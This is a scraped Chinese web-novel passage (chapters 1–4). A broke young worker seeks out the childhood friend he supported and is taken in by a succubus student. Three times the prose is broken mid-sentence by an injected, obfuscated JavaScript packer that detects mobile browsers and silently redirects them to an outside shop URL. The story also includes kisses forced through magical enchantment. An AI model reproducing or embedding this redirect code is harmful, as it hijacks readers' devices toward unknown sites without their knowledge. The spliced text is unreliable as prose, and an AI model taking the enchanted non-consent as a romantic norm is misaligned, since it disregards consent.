《老实人,但被魅魔情敌倒追》 1. 第 1 章 地铁再次开动,这一站新涌上来的人将边恪挤到了门边的夹角处,边恪下意识搂紧怀里的背包,随着车厢的晃动,人群仍然乌泱泱地往他这边挤,犹如一堵满是涂鸦的厚墙,将他的站立空间压缩到两脚并拢的面积。 边恪缓缓地吸了一口浑浊的空气,害怕自己被挤得缺氧,便用更缓地速度慢慢呼出。 头顶的灯管晃得他有些眩晕,他不得不低下头,与自己军绿色的劳动鞋面面相觑。 这是他第二次来到羊城,第一次是送宋致溟上大学,那时候地铁还不直达宋致溟的学校,出地铁站后还得换乘专线的公交。 不过这次来就方便多了,他可以坐地铁直达,可惜宋致溟忙,没有来接他。 边恪又缓缓地吸了一口气,为遏制忽如其来的鼻酸,他心想还好带的行李不多。 “各位乘客,大学城南,到了,请您带好随身物品……” 随着车内到站的提示音,边恪低头迈出车厢,一手护着包,一手在裤子口袋里摸索。 怎么是空的? 边恪心一慌,忙换了只手摸另一个口袋。 终于,他摸索到了那个薄薄的圆片,赶紧将它攥在手里,怕弄丢,他连手都不敢拿出来。 循着出口的指示箭头,边恪爬了几十级楼梯,气喘吁吁地来到出站口,盯着那关闭的闸机好一会儿,才找到投掷车票的小口。 边恪拿出口袋里的小圆片,塞进了小口里,闸机打开了。 他走出闸门,步子轻快了许多,边走边在胸前的背包里翻找,拿出一个小砖块般的手机,手指颤抖地按下了拨号的快捷键。 “嘟,嘟,嘟……” 手机里响了足足一分钟的忙音,边恪停下脚步,原本平复下来的心跳瞬间又如鼓擂。 “边恪?”对面接通了电话,不耐烦地喊了他大名。 边恪一愣,他并不太适应宋致溟喊他大名,往常宋致溟是喊他“阿鲟”的。 不等他出声,宋致溟的指责劈头盖脸地打来:“我不是说了最近忙,不要给我打电话,我实验出问题你能负责?” “我不是……”边恪急忙解释道,他嘴笨,多的字便卡在喉咙里,倒也倒不出。 宋致溟也不管他,自顾自说道:“好了,有什么事以后再说吧,我先挂了。” “致溟哥!”边恪急声喊道,而回应他的只有一声尖锐的“嘟”。 宋致溟挂断了电话,他没说“以后”的具体时间,边恪不知道什么时候才能去找他。 边恪把手机重新放回背包的夹层,恍恍惚惚地往地铁站外走。 买完来羊城的大巴票后,边恪的工资卡里就只有三百来块钱了,三百块钱在他原先的厂里,也只够他吃一个月没啥油水的饭,羊城可是大城市,物价只高不低,何况他现在连个落脚的地方也没有。 上次来羊城,边恪帮宋致溟搬完宿舍,就赶最近一班大巴回到鹏城的厂里,根本没在羊城住过旅馆——这三百多块钱,住旅馆也住不了多久吧。 除了宋致溟,边恪在羊城也不认识其他人…… 早知道就帮主任的小舅子顶罪,蹲几年大牢了,至少在牢里管饭吃、有地方住,而且主任还说给他二十万精神损失费,他可以寄给正在读研的宋致溟十万,这样宋致溟就不愁学费了,至于剩下的十万,他存着等出狱后做点小生意……可是他没有帮主任的小舅子顶罪,丢了厂里面的稳定工作,来羊城投奔宋致溟,宋致溟又忙着做实验,没有空闲。 “啪”地一下,有东西落到边恪头顶,边恪愣愣地抬手一摘,原来是一朵肥肥大大的木棉花。 他这才抬起眼环顾四周,发现自己已经走到了宋致溟的学校门口。 来都来了,去宋致溟的宿舍看看吧。 年前,在边恪的软磨硬泡下,宋致溟给了他新宿舍的地址,他没有地图和导航,只是把短信上的那行字背得滚瓜烂熟。 边恪也才二十出头,他把背包挪到背后背着,跟学校的学生们进入校门,学校的保安也就扫了他一眼,没拦着他。 校园面积庞大,边恪先找到指路牌,挨个找名为“芳菲苑”的研究生宿舍,而后循着路牌的方向走去。 宋致溟给的地址有宿舍楼的门牌号,边恪将路过的建筑依次看了,又沿路找路标,可算在拐了两三道弯后,到达了绿树掩映的研究生公寓前。 还没完全松口气,边恪远远地看见宿舍楼门口的闸机,有两个男生先后刷卡才能进去。 他没有卡,也不知道上哪儿找人借卡。 边恪只好坐到了宿舍门口斜对面的长椅上,眼下正值午后,哪怕被太阳直晒也没挪地方,就死死地盯着宿舍楼门口的人进出。 眼看着好几个刷卡进门,终于来了两个男生,一人刷卡,把闸机的铁门扶住,等另一个进门再松开,闸机旁的保安也没说什么。 边恪升起了一丝希望,眼看着又有人过来,他赶紧起身,亦步亦趋地跟在人家身后,就隔着一两米远,佯装自然地双手捏紧背包带子,双眼正视着前方。 “滴”,人家刷过卡,推开了铁门,边恪紧走两步,在人家进门后扶住了闭合的铁门。 “你干什么的?”保安忽然厉声喝住他。 边恪惊得一下子松开了铁门,脑子转得极快:“我……我要回宿舍。” 保安眯了眯眼:“那你现在刷卡进。” 边恪一下子被架住了,汗水顺着鬓角淌,但他还是硬着头皮去摸裤兜,仿佛里面真有一张硬质的卡片。 而保安还真全程盯着他掏兜,似笑非笑地嘲讽道:“别掏了,你肯定没有,我看你在那边的椅子上坐半天,等到落单的同学就跟过来……” 还有什么话,边恪没听清,只一昧地嘟囔着:“我有卡,您等一等,我能找到……” 他翻遍了身上所有的兜,热得大汗淋漓,干脆把背包放下来,一层一层地拉开翻找。 在哪儿?在哪儿?卡在哪儿? 能找到!能找到! 边恪蹲在地上,拉开了背包上的所有拉链,见他那些旧旧的T恤和短裤冒出头来,他又着急忙慌地往里边塞。 “啧,别找了!”保安不耐烦地叫停他,“你别拦着别人进门!” 边恪浑身都快烧了起来,他默不作声地拉好拉链,眼前被泪水模糊。 忽然身后传来一阵清凉的淡香,有人爽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552284|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗笑道: “好了,阿叔,您就别为难我朋友了,他一向丢三落四的,这会儿天知道他把校园卡丢哪儿了。” 边恪眼前出现了一只修长有力的手,他泪眼朦胧地望过去,只能看见眼前人一头银白色瀑布般的长直发,额前的蓝色挑染在阳光下散发着宝石般的光泽。 好时髦的人啊。 边恪迷迷糊糊地被这时髦人物拉起来,在人家准备给他捡背包时,眼疾手快地把背包拎起来,小声而快速地说:“谢谢您。” 保安狐疑地打量他二人:“阿亭,我之前没见过你这朋友啊。” “新认识的朋友。”银白发顺手就把边恪肩膀一搂,“您还不相信我的人品么?” 他比边恪高出一个头,边恪偏过眼,只能看清他优越的下颌线。 是个时髦又帅气的人,边恪想。 “好好好,反正他闹出什么事,我就来找你。”保安不情不愿地放了行。 银白发刷了卡,轻轻把边恪往前一推:“进去吧,快说谢谢阿叔。” 边恪快速地低头说了声谢谢,看也不看两侧,拎着包做贼似的通过了闸机。 之后银白发就和边恪并肩上了楼,他似乎没察觉到边恪的窘迫,单手插兜随口问道:“同学,你去几零几啊?” “402。”边恪脑子没转过来。 “好巧,我去403。”银白发随和地笑笑。 边恪身上的热汗冷了下来:到时候他坐在402的门口不走,被这位403的邻居看到了怎么办?人家刚刚还帮他解了围。 “那您认识宋致溟么?”边恪想方设法地找话题,对,宋致溟,致溟哥可以帮他作证,他不是什么可疑人员。 “听说过,他就住402的单人间。”银白发面上的笑意冷了几分,“只是我跟他不太熟。” 边恪没注意到对方的微表情,听到这话松了口气,他轻快说道:“我是宋致溟的发小,我叫边恪,恪是竖心旁的恪。” “哦,阿恪。”银白发从善如流地改了称谓,“你很保安大叔一样,叫我阿亭就行。” 对方没有想告知真名的意思,边恪微微有些失落,但很快振作道:“阿亭,今天真是太谢谢你了,等我见到致溟哥之后,再请你吃饭。” 没办法,他身上没钱,只能见到宋致溟后再做打算。 “吃饭就不用了,今天是我要谢谢你。”阿亭笑意更深了些。 他们很快爬上四楼,阿亭又揽过边恪肩膀,领着他走到了402门口。 “我自己走也可以……”边恪不明就里。 但阿亭没管他,直接伸手去敲402的房门。 “致溟哥原来在宿舍呀。”边恪轻声说,“他跟我说他在做实验。” 阿亭冷笑一声,这回很明显。 但边恪来不及问什么,面前的门开了,阿亭将他往黑洞洞的门里一推。 “我给你带人来了。”阿亭不知道跟谁说话。 门从边恪身后“砰”地关上,周遭泛着一阵水蜜桃的甜香,边恪抬眼,看见黑暗里一对亮闪闪的粉色眼睛。 一个清亮的男声响起:“啊,人类,你没洗澡吗?” 2. 第 2 章 边恪来不及喊,手上的背包刚一滑落在地,他便被拥进了一个滚烫的怀抱。 那对漂亮的眼睛便如小彩灯似的忽闪忽闪,边恪被里面晃出来了小爱心迷了眼,都忘记了挣扎,只愣愣地回答:“我找到地方住就会洗澡了。” 水蜜桃的香味愈发浓烈,拥住边恪的男人凑近了许多,几乎贴着边恪耳朵说:“你没地方住,好可怜,来,让我抱抱。” 边恪迷迷糊糊地跟着点头,为那声“好可怜”暗暗伤神:他原本是打算请宋致溟收留他一阵子,他不会打扰太久,最多一个月,找到工作他就离开,如果期间用了宋致溟的钱,他也会如数照还,他只是想稍微喘口气而已,不会得寸进尺。 他一时想远了去,没注意到面前人晃晃悠悠地搂着他向前走,他整个人都被浓烈的甜香包裹,眼里只有那对冒着爱心的小彩灯——怎么一会儿粉,一会儿紫的,但都好漂亮…… “你是谁?”边恪问了出来,他猛然感觉大脑清醒了一瞬,停住脚步紧接着问,“你怎么会在致溟哥的宿舍?” 面前人轻笑:“你猜猜我是谁?” 小彩灯又闪了闪,周遭亮堂了起来,边恪看清楚了对面人的面庞:脸部轮廓俊美不失锋利,过耳的卷发挑染成粉紫双色,有一缕在额前微微摇晃,冒着爱心的眼睛如粉水晶般剔透,一弯薄唇仿佛浸染了玫瑰花汁般嫣红,再加上这宽肩窄腰的身材以及比边恪高出一头的身高,活脱脱一只从聊斋壁画中逃出来的花妖。 而这花妖正站在宋致溟的单人宿舍里,双手搂着边恪的后腰,微微偏过脑袋,露出了白皙脖颈上扎眼的红痕,边恪目光再往下移,撞上了他领口大开的饱满胸膛。 边恪打了个激灵,一把推开了这只漂亮的妖精。 “同,同学!”边恪慌乱地别开眼往后退,口不择言道,“我来找宋致溟!他不在的话我就先走了!” 花妖一把拽过他胳膊,将他桎梏进怀里,单手掐住了他的下巴,令他强行抬起脸,“宋学长不在,还有我嘛,小哥哥,你跑什么?”花妖媚眼如丝,粉紫色的小爱心又开始忽闪。 边恪又被忽闪得晃神,立马闭上眼,双手胡乱推搡着:“不好意思,我真的要走了,再见!” “小哥哥,你就不好奇我和学长的关系嘛?”花妖冷不丁地问。 边恪紧闭着眼睛:“你都说了他是你的学长!” 花妖笑了声,紧接着一阵悦耳的手机铃声响起。 “乔乔,吃饭了吗?” 边恪听见宋致溟清冷的声音,只不过此刻多了几分柔软。 他也顾不上花妖的眼波攻击,忙忙睁开眼,看见了跳跃着“宋学长”三个大字的手机屏幕,花妖专门腾出一只手给他举手机。 许是没听见花妖的回答,宋致溟声音又软下几分:“乔乔,我知道是我的错,今天答应要陪你的,但我不是临时有事嘛。你跟我说句话吧,宝贝儿,等我回来你再收拾我,好不好?” 这样温柔的话,宋致溟从来没跟边恪说过,宋致溟也从来不叫边恪宝贝。 哪怕他们从小一起长大,哪怕这些年边恪一直在供宋致溟读书。 原来忙也有时间专门给人打电话啊,但没时间接他的电话。 边恪打了个趔趄。 花妖扶稳了他,撇撇嘴对电话那边说:“学长,我在吃饭呢,腾不开嘴。” 边恪眼皮一跳,心想这人真是说谎不打草稿。 “你在吃饭就好,我还怕你生气吃不下。”宋致溟笑了,明晃晃地透出些许宠溺,“吃的什么呀?能给我拍照看看吗?” 还要拍照?边恪瞪大了眼睛,微不可查地冲花妖摇摇头。 “我这边信号不太好——”花妖故意拖长了声音,趁边恪走神,猛然将边恪后脑勺一兜,“等信号好了,我再……” 他剩下的话没有说完,封进吻里堵上了边恪的嘴唇。 “唔!”边恪脑子一白,眼前就开始噼里啪啦地炸烟花。 手脚发软地不听使唤,他只顾着紧咬牙关,而宋致溟对此一无所知,还在电话那头关心问:“喂?乔乔?你那边没信号了吗?乔乔……” 随着宋致溟的声声呼喊,花妖轻轻伸出舌头,如同敲门般在边恪齿间点了一下、再一下,那双粉水晶般的眼眸又开始泛起粉紫色的爱心,边恪不由自主地愣神,牙关一松,便让花妖柔软的舌头探了进来。 水蜜桃的甜香瞬间盈满边恪的口腔,他一时什么声音听不见,连呼吸都忘记,眼里就只有花妖骤然放大的面孔,凑近看,花妖鼻尖还有颗小小的红痣。 好漂亮……他是叫乔乔吗? 边恪越看眼皮越沉,空落落的心却被越填越满,随即他头一歪,便陷入了甜蜜的安眠。 * 好舒服,仿佛温热的泉水徐徐地洗涤过他全身,随后又有双温柔的手给他换上了舒服的衣料,他躺在宽敞柔软的大床上,浑身懒懒的、暖洋洋的。 边恪不自觉地叹了口气,他好久没有做这么舒服的梦了。 他在厂里宿舍的上铺只铺了条凉席,每天夜里躺上去都硌后背,他有时候累得浑身散架,动也动弹不得,平躺在那硬床板上和发霉掉碎渣的天花板干瞪眼,耳边室友们的呼噜声、磨牙声此起彼伏。 其实他也不是非要住厂里不可,离工厂不远的地方有廉租房,他打听过,一个月花七八百块钱就能租到一个小单间,不用再跟八九个工友挤上下铺,床的质量也比厂里宿舍的好。 但宋致溟上大学需要钱,本科的时候一年的学费加住宿费是七千,每个月最低需要两千块钱的生活费,还有一些杂七杂八的其他费用。 边恪每个月的工资只有五千块,他怕宋致溟过得不好,自己每个月只花五百,把多余的钱全打给了宋致溟。 廉租房没法租,用了好几年的砖块机也没法换成智能机,边恪省吃俭用把宋致溟从本科生供到了研究生,本来以为将心比心,他对宋致溟倾尽所有,那么宋致溟应该也会拉在困境中的他一把。 他甚至都不敢奢求额外的东西,他只求宋致溟拉他一把……可为什么这两天他给宋致溟打电话总是被挂断? 泪水凉凉地从眼角滑落,边恪下意识抬手去擦,结果他眼角先覆上了一团温温软软的东西,好像是舌头? 边恪一个激灵从睡梦中睁开眼,又对上了花妖那张明媚漂亮的脸。 “小哥哥,你睡醒啦?”花妖趴在边恪身上,无辜地歪头笑着。 如果他发顶没有一对黑中透粉的小犄角,身后没有一条电线般的桃心尖尾巴,以及好好地穿上衣服而不是就裹了一条浴巾,边恪真想对这张无害的笑脸勾勾嘴角。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552285|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你到底是个……什么物种?”边恪闭上眼不与他对视,声音艰涩地问。 “如你所见,是魅魔哟~”花妖轻快地回答,那电线一般的尾巴迅速地缠上了边恪大腿,尾巴尖跃跃欲试地往边恪裤腰里钻。 边恪顿时腿软得没法动弹,只好伸手费劲地去捉那顽皮的尾巴尖,声音沙哑中略带哀求:“你别乱动……我们今天才第一次见面吧……” 花妖乖乖地撤开尾巴,凑到边恪耳边,声音软软地说:“但是第一次见面你就喂饱了我,没有你我一定会饿死的,你是我的大恩人。” “你说的喂饱是指?”边恪颤抖地睁开一只眼。 花妖抬起脸,笑得更甜了:“接吻哟~魅魔的食物就是人类的唾液和哔——” “刚刚有什么消音了?”边恪疑惑,见花妖的粉眼睛里没有冒爱心,才把眼睛完全睁开。 “哔——啊,这个词说不出来!”花妖,啊不,是魅魔,他懊恼地皱皱鼻子额,随即伸手往边恪腰下探,“我来给你演示一下就知道了!” “别别!你别乱动!”边恪连忙又去抓他的手,急得声音都高了八度,“我知道了!知道了!” “总而言之,如果中午你没有过来,我就要在宋学长的宿舍里饿死了~”魅魔自自然然地又在尾调加了个转音,“会饿得变成不会说人话的笨鸟~” “啊?”边恪没能搞懂这番话前后的逻辑,当然他怀里趴着个长角长尾巴的漂亮生物显然更不符合他世界观里的逻辑,这难道是城里发现的新物种?反正村里和厂里是没有魅魔这种生物。 魅魔急得捏了把自己漂亮的脸蛋,下定决心般说道:“我就会饿得变成这样!” “呼啦”一下,身上那一长条人就变成了一个篮球大的毛球球,小尖嘴、小翅膀外加两只小爪子,明显显是只超大号的滚圆状团雀,通体的羽毛是粉红色的,只羽毛尖泛起浅浅的紫色。 大团雀扑腾着短短的翅膀,叽叽喳喳地说:“啾啾啾啾!我变成这样啾!没力气说话啾!也没力气飞啾!更没力气找人啾啾!” 虽然说的话更啾里糊涂,但边恪心软得厉害,干脆撑坐起来,将这团子轻搂在怀里,耐心地从他的啾啾啾里拼凑事实:原来魅魔魔生中第一次fa情期到了,不及时地进食补充能量,他就会丧失魔力变回原形,期间做不了任何自救的事情,只能等待同类前来援救。而边恪喂了魅魔一口食物,让他恢复了些魔力,能够维持着人形施展魔法,安然地带着边恪回到自己的巢穴中。 “啾啾啾!我的巢穴很漂亮吧啾!”魅魔仰起小脑袋,挥动翅膀向边恪得瑟。 边恪也就顺势打量起四周,这是间宽敞又舒适的卧室,床是毛茸茸的粉色大爱心,周边桌椅柜子一应俱全,都包裹上深深浅浅的粉色绒毛,连带墙壁也被刷成了粉色,头顶悬着一只硕大的紫色灯球,球的四周环绕着七颗粉色的星星,看起来很像是童话书插图里公主才能住的房间。 “这是我见过最漂亮的房……巢穴。”边恪由衷地说。 “啾~”魅魔开心地往边恪怀里一扑。 边恪感觉到一阵巨大的推力,而后他便靠向了床头的软垫,身上又沉甸甸地压着甩起桃心尖尾巴的人形魅魔。 魅魔笑眼弯弯:“小哥哥,既然你觉得我的巢穴漂亮,那就和我同居吧。” 3. 第 3 章 “那个……我都不知道你是谁……”边恪弱弱地拨开魅魔抚摸他侧脸的手。 “那自我介绍一下,”魅魔反扣住边恪的手,轻轻放于唇边,“我叫奚乔,溪水的溪去掉水,木桥的桥去掉木,现在是Z大文学院的大一学生,不相信的话,我还可以给你出示我的身份证和学生证。” “魅魔也能办身份证?”边恪下意识往回缩了一下手,魅魔呼出的热气抚得他手背发痒。 魅魔将他手捏紧了,甚至往他手背上亲了亲,挑眉笑道:“也过了不少程序才办下来,不然我也没法来人类的学校上学。” “但你放心,程序都是合法合规的,不存在作假。” 边恪挣脱不了魅魔的力道,欲哭无泪地说:“你说话就说话,别动手动脚的。” “因为我还饿着嘛,小哥哥。”奚乔无辜地耷拉下眼尾,“我还要饿一个月呢,如果不是这样,我也不会病急乱投医,幸亏小哥哥你人好,不嫌弃我是只笨笨的、丑丑的魅魔。” 说话间,奚乔粉水晶般的眼睛就蒙上了一层水雾,边恪看着心软,连忙哄着:“你那么漂亮,还考上了我们省很难考的Z大,怎么会又笨又丑呢?” “但是你不喜欢我。”奚乔用脸蹭着边恪的手,瓮声瓮气地说。 “没有不喜欢……”边恪又开始打磕巴了,“只是,只是没到可以给你‘喂食’的喜欢。” 奚乔定定地看着他:“小哥哥,你是不是有喜欢的人呀?” 边恪被呛了一下,压制在心口的酸涩又一并涌了上来,堵住了他的喉咙。 他不知道该怎么回答奚乔。 结果奚乔自顾自分析了起来:“小哥哥一见到我就问宋学长的事,见不到宋学长就要离开,听宋学长打来电话就走神……” “我没有喜欢宋致溟!”边恪脑子一热,脱口而出地打断道。 奚乔破涕为笑,歪过头露出脖颈的红痕:“那太好了,我还担心你会因为宋学长生我的气呢。” “我有什么好生气的。”边恪垂眼喃喃说道。 他没资格生气的。 奚乔又用脸蹭蹭他掌心:“小哥哥,你放心吧,只要你答应跟我同居,帮我度过这一个月的fa情期,我就绝对不会再去找宋学长。如果宋学长得罪你了,我还能帮你出气。” “你原本想找宋致溟帮你度过fa情期?”边恪再迟钝,结合上下文也听出来魅魔话里话外的意思。 奚乔顿了顿,转眼笑开来:“我是去找宋学长辅导我完成作业……” “你是文学院的,他是生物学院的,专业都不搭边。”边恪声音冷了下来,他在宋致溟宿舍见到奚乔就应该猜到,或者在宋致溟给奚乔打电话的时候就该猜到。 但边恪不敢往那方面细想,十五岁那年,宋致溟拒绝边恪告白的理由是,他不喜欢男人。 从此边恪便把心事收敛,退回到了朋友的界线。 “可事实是宋学长为了去见他导师,把我一只魔抛下了嘛!”奚乔反倒委屈地叫起来,“今天是我魔生中fa情的第一天,我一口食物都没吃着,险些饿死在他那乱糟糟的宿舍!” “我一点好处都没得到啊!” 说着说着,魅魔原本憋回去的眼泪又涌了出来,哭得梨花带雨、楚楚可怜。 边恪也顾不上自己心里那点酸啊涩啊,忙忙用手给奚乔抹眼泪,一只手不够用上了两只手,给奚乔那张漂亮的脸抹得乱七八糟,嘴里还不停地哄着:“我真没有怪你的意思,挨饿确实很难受,我以前也挨过饿我知道……别哭了好不好?” “我现在就有点饿。”奚乔吸吸鼻子,委屈巴巴地盯着边恪的嘴唇。 边恪停住了手:“那……” 奚乔抓了边恪的手放到自己发顶的犄角,往前一拱,“我开动了~” 随即叼住了边恪的唇。 “唔!”边恪下意识抓紧了奚乔的犄角,那犄角滑滑的、热热的,比河里玉一样的鹅卵石手感都好。 奚乔的舌头挑开了他的牙关,又卷进来一阵蜜桃的甜香,边恪不自觉地迷糊了起来,甚至开始回应起这个绵长的吻。 不对劲,不对劲……可是这次奚乔的眼里没有冒小爱心,双手都放到了边恪身体两侧,甚至那细长的尾巴也只在身后欢快摇摆,没有一点要桎梏边恪自由的意思。 弄得边恪像是自己愿意接受这个长吻。 动作间奚乔身上的浴巾往下滑,几乎都盖不住他屁.股,边恪不知把视线往哪儿放,慌里慌张地又闭上了眼。 “咕——”边恪的肚子发出不合时宜的叫声。 边恪瞬间清醒,抓着奚乔的犄角,条件反射般将奚乔的脑袋猛然推开。 二人唇边牵扯出一条晶亮的银丝,奚乔低笑着擦擦嘴角:“小哥哥,你也饿了?” 边恪立马松开奚乔,垂下眼双手绞在了一起,小小声说:“我上大巴前吃了碗云吞。” “上大巴前是几点呀?”奚乔问。 “早上七点多吧。”边恪越说话声音越小,他这才发现自己换上了尺寸大两号的粉色睡衣。 “现在都晚上七点多了呀。”奚乔叹气,伸手抓住了边恪的腕子,“走吧,小哥哥,我带你出去吃饭。” “你不饿了吗?”边恪抬眼问。 “到时候睡前再来一次就可以了。”奚乔甜甜地笑道,尾巴尖一晃一晃,“我可是只乖魅魔。” * 奚乔给边恪找了身外出穿的衬衫和休闲裤,主体色调是蓝白,边缘却还点缀一些粉色。 边恪背过身子套上衣服,结果发现自己还跟套了个麻袋似的,特别衬衫下摆长到了膝盖。 奚乔个子高,衣服都是大尺码的,边恪不经意地勾起嘴角,忽然想到今天中午带他进宋致溟宿舍的人也是位高个子。 那人叫什么来着?边恪脑子里泛起雾气,竟然连人家的长相都想不起来了。 “小哥哥,转过身来嘛,让我看看衣服合不合身。”奚乔说着,双手掰过边恪肩膀,令他强行转了过来。 “不好意思,我太矮了……”边恪讪讪地笑,下意识抓住了衣摆。 奚乔直接上手,将边恪前方的衣摆一拢,仔仔细细地将那过长的料子塞进裤腰。 边恪把双手微微抬起悬空,任由奚乔动作,奚乔低着头,边恪这才看清原来奚乔的自然卷毛,底色是黑色,挑染大部分是粉色的,而那紫色只是零星的几点。 眼下奚乔把犄角和尾巴都收了起来,连眼睛都变成寻常的浅棕色,再配上他一身粉嫩嫩的打扮,看起来也只是个打扮略微时尚跳脱的人类大学生,漂亮、柔软、好亲近。 “我叫边恪。”边恪冷不丁地说,他这才想起来自己还没有跟魅魔自我介绍过,“边是边关的边,恪字不常用,是竖心旁一个各。” 他大名和小名是村里的老先生取的,老先生很有文化,八十多岁还能背诵四书五经。 “好,那我叫你恪哥哥?”奚乔松松地往两边拉扯了边恪的衬衫,抬眼笑着反问。 边恪听红了脸:“叫我阿鲟吧,我家那边的人都这么叫我。” “那你叫我燕燕吧,我家里人也这么叫我。”奚乔说,又伸手拨弄了两把边恪的头发,“好了,走吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552286|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “现在时间还早,等吃完饭,我带你到商场买两套新衣服。” 边恪被奚乔牵着手,出门坐电梯下楼,他嘟嘟囔囔地说不用奚乔那么破费,他包里还有换洗的衣服……不对,他那个黑色的大背包呢? “我包好像落宋致溟宿舍了!”边恪停住脚步,迎面而来的温热晚风却吹出他一身冷汗。 “包里除了衣服,还有什么贵重物品么?”奚乔也跟着他停住脚。 他们停在了一个红绿灯路口,对面就是灯火辉煌的大商场。 边恪无心赏景,六神无主地说:“没有什么贵重东西,只是我的手机、身份证和银行卡……还有三百多块钱的现金在包里。” “那待会儿吃完饭,我帮你拿回来。”奚乔捏了捏边恪的手指,轻描淡写地说。 “吃完饭我们去他宿舍?”边恪没反应过来。 “不用那么麻烦,吃完饭我给你表演一个隔空取物。”奚乔冲边恪得瑟地挤挤眼,“毕竟多亏了阿鲟你,我才能再次使用魔法呢。” “那……多谢你了。”边恪下意识抿了抿嘴唇。 不知道为什么,听见奚乔的声音,边恪惶惶的心安定了许多。 边恪原以为这样漂亮的人……魅魔应该高高在上才对,像宋致溟,像边恪厂里的厂草厂花,没想到奚乔除了喜欢撒娇耍赖外,意外地好说话,还很会照顾人。 “阿鲟,抬起头看看啊,在地上找什么东西呢?”奚乔轻声提醒。 地上没什么东西,边恪只能看见自己裸露在人字拖外的脚趾和平滑的地砖。 他不好意思地抬起眼,发现他和奚乔已经走过红绿灯路口,正站在大商场前面的广场,白亮泛金的灯光将商场衬托得像枚精致的贝壳,店铺的招牌巧妙地融在了玻璃外墙上,各种颜色眼花缭乱,周遭人来人往,男女老少都挂着愉悦的笑容,步调松弛地散着步,其间有人拍照,也有人笑笑闹闹。 这是边恪第二次来羊城,他终于有机会慢下来,好好地看看这座城市。 而带他吃饭逛商场、好好看这座城市的,并不是和他相依为命多年的竹马,而是一个他仅认识一天不到的魅魔。 “你如果吃得完,可以把这一整本菜单都点了。” 饭店包厢里,边恪为那书本一样厚的菜单为难,特别翻开菜单第一页,被“鱼子酱鹅肝998一份”吓得脸色发白。 奚乔不点菜,只在旁边托腮看着他笑:“吃不完也可以点一整本,反正可以打包带回去。” “那多浪费钱啊。”边恪小小声说。 “也省得你有选择困难症嘛。”奚乔说。 边恪把菜单推到奚乔面前:“你来点吧。” “那你倒是叫我一声啊。”奚乔屈指轻轻敲着菜单。 边恪脑子卡了一下,试探性地喊道:“燕燕?” 奚乔欢快地捧起菜单:“阿鲟,我推荐这家店的蜜汁脆皮烧鹅、羊肚菌焖水鬼重……” 这些菜名都好长,有些还听不懂,但奚乔的声音好好听,边恪听到一个菜名就点一点头。 “好,那就这些菜。”奚乔在单独的单子上勾画了几下,正要招来服务员,被他放在手边的智能机嗡嗡响了起来。 边恪眼尖,看到屏幕上的名字是:“宋学长”。 “宋学长打视频过来了啊。”奚乔扫了眼屏幕,放下手上的单子。 边恪一慌:“啊,是视频吗?” 如果宋致溟看见他和奚乔在一块会怎么想? “视频正好。”奚乔不以为意地拿起手机,“我来给你表演一下隔空取物。” 4. 第 4 章 边恪不知作何回答,怂怂地把椅子挪开了一些。 奚乔点击接通,对面掐着嗓子喊了声:“乔乔。” 边恪被肉麻得一激灵,挪动椅子的速度更快了,确定完全离开奚乔的手机镜头才停止,怎么宋致溟一跟奚乔说话就像变了个人似的。 奚乔没立刻回应,径直把门外的服务员叫进来,递给她点菜的单子,再嘱咐说甜点最后上。 “乔乔,你在外边吃饭啊?”等服务员离开,宋致溟又腻腻歪歪地追问。 “嗯,和朋友一块。”奚乔抬眼,冲边恪安抚地笑笑,“学长你就别想着过来了,我朋友怕生。” 边恪心头一热,手机那头的宋致溟明显顿了顿,他讪笑道:“我都没见过你的朋友呢。” “毕竟我和学长才认识一个星期,没必要被学长查户口吧。”奚乔笑盈盈地说着不客气的话。 宋致溟自然也听出来了,连忙哄道:“乔乔,我知道放你鸽子是我不对,我也想要弥补嘛,你看你有什么想要的礼物,隔天我送到你宿舍去。” “我可不要糊弄小孩的便宜玩意儿。”奚乔轻敲桌面,似笑非笑,“上次逛街的时候,我看中一块表……” 边恪眼尖地瞥见,奚乔敲桌子的手指闪烁着粉紫色的光芒,他眼皮一跳,桌上便多了一个黑色的背包。 那是……他的包! 边恪避开奚乔的手机,急吼吼地往桌上一扑,拉扯着背包带子把包拢进怀里,便听见宋致溟爽快地回答奚乔:“好好好,只要小祖宗你别生气,别说一块表,就是天上的星星我都给你摘下来。” 既然宋致溟都能摘天上的星星,那应该能借给边恪一些找工作过渡的钱吧。 边恪抱着鼓鼓囊囊的背包坐回位置上,蔫蔫地拍着背包表面的墙灰,背包带子上的补丁已经开裂,还好他在包里塞了一盒针线……他省吃俭用到这地步,如果没有把工资大部分转给宋致溟,眼下应该有存款供自己生活。 “嘟。”奚乔挂断了视频,起身贴了过来,“阿鲟,怎么耷拉个脸?是我给你找错包了?” 边恪垂眼,摇摇头:“没有,你找对了,谢谢。” 